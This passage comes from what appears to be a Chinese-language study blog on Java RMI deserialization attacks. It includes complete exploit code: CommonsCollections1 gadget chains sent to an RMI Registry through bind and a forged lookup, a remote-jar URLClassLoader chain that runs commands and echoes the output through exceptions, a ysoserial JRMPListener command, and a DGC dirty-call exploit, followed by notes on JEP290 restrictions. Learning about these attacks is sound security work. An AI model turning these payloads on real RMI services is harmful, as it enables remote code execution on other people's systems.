Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

这里将CC1的InvocationHandler传入进去,然后调用bind方法,Registry收到bind命令,然后调用代理对象InvocationHandler的readObject方法然后触发CC1

(这里没咋写明白,不想写了)

补充:

RMI使用bind攻击Registry注册的核心其实不是利用动态代理,而是利用java反序列化一个对象的时候会先递归反序列化其属性,而在这个过程中调用了我们payload的readObject方法从而实现攻击

也就是说我们只需要将我们的payload的封装成继承Remote接口的对象就能达到攻击目的,这也是前面exp里面使用动态代理进行封装的目的Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);

所以说这里我们自己封装也是可以攻击的,具体exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package RMI.Attack;

import RMI.Server.WelcomeImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

class bindRemoteObj implements Remote, Serializable {
private Object exp;

public bindRemoteObj(Object exp) {
this.exp = exp;
}
}

public class attckRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

Object handler = CC1();
Remote bindExp = new bindRemoteObj(handler);
registry.bind("test",bindExp);

}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object obj = declaredConstructor.newInstance(Override.class, proxyMap);
return obj;
}
}

这里我们使用客户端自己定义的Remote类,Registry找不到这个类仍然可以触发反序列化,自己可以在两个不互通的环境里面测试

这是因为**反序列化恢复一个类的时候会先去处理好他的序列化变量,再去进行组装恢复成类。我们触发payload的过程是恢复他的序列化变量的时候,而之后找得到找不到这个类就不重要了。 **

lookup,unbind

lookup和unbind跟前面是一样的

都是讲要查询或者删除的远程对象参数(字符串)进行反序列化,然后调用对应的lookup等,但是这里有个问题就是,我们在编写攻击脚本时因为只能传入String参数进去,而我们的payload是一个对象,所以就需要模拟这个客户端的lookup功能

也就是如上代码

具体EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package RMI.Attack;

import RMI.Server.WelcomeImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class attackRegistry_lookup {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);

}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

攻击者成功,具体伪造lookup方法的代码可以自己编写一遍,其实就是获取RegistryImpl创建时的UnicastRef,然后再获取需要的operations参数,都是直接通过反射获取的

攻击无回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class ErrorBaseExec {
public ErrorBaseExec() {
}
//解析
public static String readBytes(InputStream var0) throws IOException {
BufferedReader var1 = new BufferedReader(new InputStreamReader(var0));
StringBuffer var2 = new StringBuffer();

String var3;
while((var3 = var1.readLine()) != null) {
var2.append(var3).append("\n");
}

String var4 = var2.toString();
return var4;
}

public static void do_exec(String var0) throws Exception {
try {
//执行命令
Process var1 = Runtime.getRuntime().exec(var0);
//解析执行结果
String var2 = readBytes(var1.getInputStream());
//抛出异常到客户端
throw new Exception("8888:" + var2);
} catch (Exception var3) {
if (var3.toString().indexOf("8888") > -1) {
throw var3;
} else {
throw new Exception("8888:" + new String(var3.toString()) + "\r\n");
}
}
}

public static void main(String[] var0) throws Exception {
do_exec("cmd /c dir");
}
}

这里我们可以使用报错异常的方式传递命令执行的结果,具体流程分为两部分

  1. 判断目标环境为linux还是windows,然后写个恶意Class文件到临时目录去(/tmp,C:/windows/temp),恶意Class文件如上
  2. 接着根据Class文件的路径去loadClass,然后调用对应的do_exec方法,他会将命令执行以报错信息的形式传给攻击端

具体攻击没试过,有兴趣可以自己打一下

URLCLassLoader

跟上面一样,只不过将上传Class文件并使用绝对路径进类加载的方法修改成了使用URLCLassLoader进行加载,这里贴个drun1baby的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

攻击客户端

Registry攻击客户端

客户端与Registry端之间的攻击操作无非就是以下五点:

  • bind
  • unbind
  • rebind
  • list
  • lookup

客户端向Registry端发送lookup请求,Registry返回给客户端查询的结果,然后客户端通过unmarshalValue()方法反序列化该结果恢复对象,这个就是Registry攻击客户端的点,当然具体的攻击代码是比较多的,他要解析客户端发来的协议,然后将恶意对象序列化通过JRMP协议发送回来,该操作ysoserial的JRMPListener模块就可以实现

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

服务端攻击客户端

  1. 服务端返回Object对象
  2. 远程加载对象

第一点非常好理解,就是客户端调用服务端的远程对象的某个方法的时候,我们作为服务端向客户端返回执行结果时给他一个恶意对象,然后客户端反序列化该恶意对象就能触发反序列化链

具体代码实现就不写了,毕竟这种攻击方式限制比较多,需要让客户端连你,并且调用你的恶意方法,所以需要知道客户端的代码怎么写的以及怎么控制客户端连你

远程加载对象

具体就是存在这样一个参数java.rmi.server.codebase,他在我们客户端接受服务端返回的结果时如果找不到对应的类就会去服务端指定的codebase去寻找Class类(类似于环境变量CLASSPATH),然后反过来客户端发给服务端一个服务端找不到的类则会去客户端指定的codebase去寻找Class,这个攻击方法在p神java漫谈里面提到过,但是由于新版本的诸多限制导致该方法利用起来条件比较苛刻,具体如下

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

攻击DGC端

DGC(分布式垃圾收集),DGC是Java RMI中用于维护远程对象引用的机制,确保远程对象在不再被使用时能够被适当地清理和回收。

DGC主要负责处理客户端与服务端之间的远程对象引用。当客户端获取了一个远程对象的引用后,DGC会监控这个引用的使用情况。客户端定期向服务端发送引用续租(dirty)请求,表明该引用仍在使用中。当客户端不再需要该引用时,会发送清理(clean)请求,服务端随后可以回收相关资源。

Java RMI(Remote Method Invocation)机制中的 DGC(Distributed Garbage Collection)是一个分布式垃圾收集系统,它负责管理在客户端和服务器之间传输的远程对象的生命周期。DGC 的主要作用是确保当客户端不再使用某个远程对象时,服务器端也能及时回收该对象,从而避免内存泄漏和资源浪费。

DGC 通过租约(Lease)机制来管理远程对象的生命周期。当服务器将一个对象的引用发送给客户端时,它会提供一个租约,这个租约包含了一个唯一的 VM 标识符(VMID)和租约期限。客户端需要定期向服务器发送续租请求(renew request),以维持对远程对象的引用。如果客户端没有在租约到期前发送续租请求,或者客户端已经释放了对该对象的引用,服务器将不再跟踪该对象,并最终回收它。

Dirty 状态

“Dirty” 状态指的是客户端对某个远程对象的引用仍然处于活动状态。当客户端通过 RMI 调用远程对象的方法时,这个引用就被认为是 “dirty”。”Dirty” 状态意味着客户端仍在使用该对象,因此服务器不应该回收它。

在 DGC 机制中,客户端需要定期向服务器发送 “dirty” 租约更新,以表明它仍在使用某个远程对象。这些更新是租约的一部分,用于延长租约的有效期。如果客户端未能在租约到期前发送 “dirty” 更新,租约将过期,服务器可能会认为客户端不再需要该对象,并最终将其回收。

Clean 状态

“Clean” 状态表示客户端已经释放了对远程对象的引用,不再使用该对象。当客户端完成对远程对象的操作并决定不再使用它时,客户端会将该对象标记为 “clean” 并向服务器发送 “clean” 租约更新。

服务器端在接收到 “clean” 租约更新后,会将该对象标记为可回收。如果服务器确定没有其他客户端持有对该对象的引用,它将回收该对象,释放与该对象相关的资源。

攻击DGC跟攻击Registry类似,也是通过客户端调用DGC的某种方法,这里就是dirty和clean,而DGC处理这些请求的时候就会进行反序列化操作,具体的代码在DGCImpl_Skel上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

这个代码也是动态生成的,所以不能够调试

可以看到dirty和clean比较类似,都会对传过来的两个参数进行反序列化,所以选哪个进行攻击都是没区别的,重点是怎么样才能在客户端调用dirty和clean方法

在客户端上只需要将var1传为恶意payload对象就行,但是客户端没有直接开放的api去调用clean和dirty方法,只能通过操作远程对象引用的过程中顺带调用,比如说Registry的lookup方法调用时就会触发clean和dirty,但是我们直接通过lookup去传入payload对象很明显就是不现实的,因为在这个过程中参数会发生变化,所以最好的方法是直接实现一个DGC客户端与DGC服务端进行交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道,并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量,之后会说到这些数据是怎么来的
//传输魔术字符:0x4a524d49(代表协议)
dos.writeInt(TransportConstants.Magic);
//传输协议版本号:2(就是版本号)
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call:0x50
dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式,等会具体分析
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);

os.flush();
}
}

这个就是 Ysoserial 的 JRMP-Client exploit 实现代码,具体payload为什么这么写我就不分析了,可以自己在执行命令最终点下断点然后回头看堆栈

感觉这里还是比较值得分析的

JEP290 绕过

这里的绕过我按照几个重要版本节点来写

JDK121

这个版本引入了JEP290,在RMI的registry服务端和dgc服务端加入了对应的局部过滤器到ObjectInputStream中,只允许白名单类才能反序列化,里面的详细知识参考

JEP290

这里就限制了JRMP Client和attckregistry攻击

RMI客户端利用传递参数反序列化攻击RMI服务端就不受JEP290限制

这是因为服务端的远程对象都是用户根据不同场景需要自己写的,没有设置局部过滤器,如果设置了像registry和dgc那样的白名单过滤器,那正常服务都会受到影响

JDK141

服务端 bind攻击registry端的bind操作由先反序列化远程对象再检查服务端的ip是否可信任

**jdk202**

**jdk112**

这里141之前版本是在bind方法里面对服务端ip进行的验证

而在之后的版本就直接将checkAccess("Registry.bind");提到反序列化操作之前了,导致服务端bind攻击Registry方法不能使用了,默认只允许本机进行bind操作,但是lookup攻击是不会受到影响的,因为registry不会在进行lookup操作的时候不会检查客户端ip

jdk231

隔了几周了,再回来看看不懂了

https://xz.aliyun.com/t/7932,这篇文章后部分内容,先搁置在这,把jndi看来在回来啃剩下的,目前的知识量已经够啃jndi了

jdk241

参考文章

https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/ (整条框架按照这个来的)

https://xz.aliyun.com/t/7930 (攻击部分比较详细)

https://xz.aliyun.com/t/7932 (跟什么一个系列,写得非常细

https://tttang.com/archive/1430/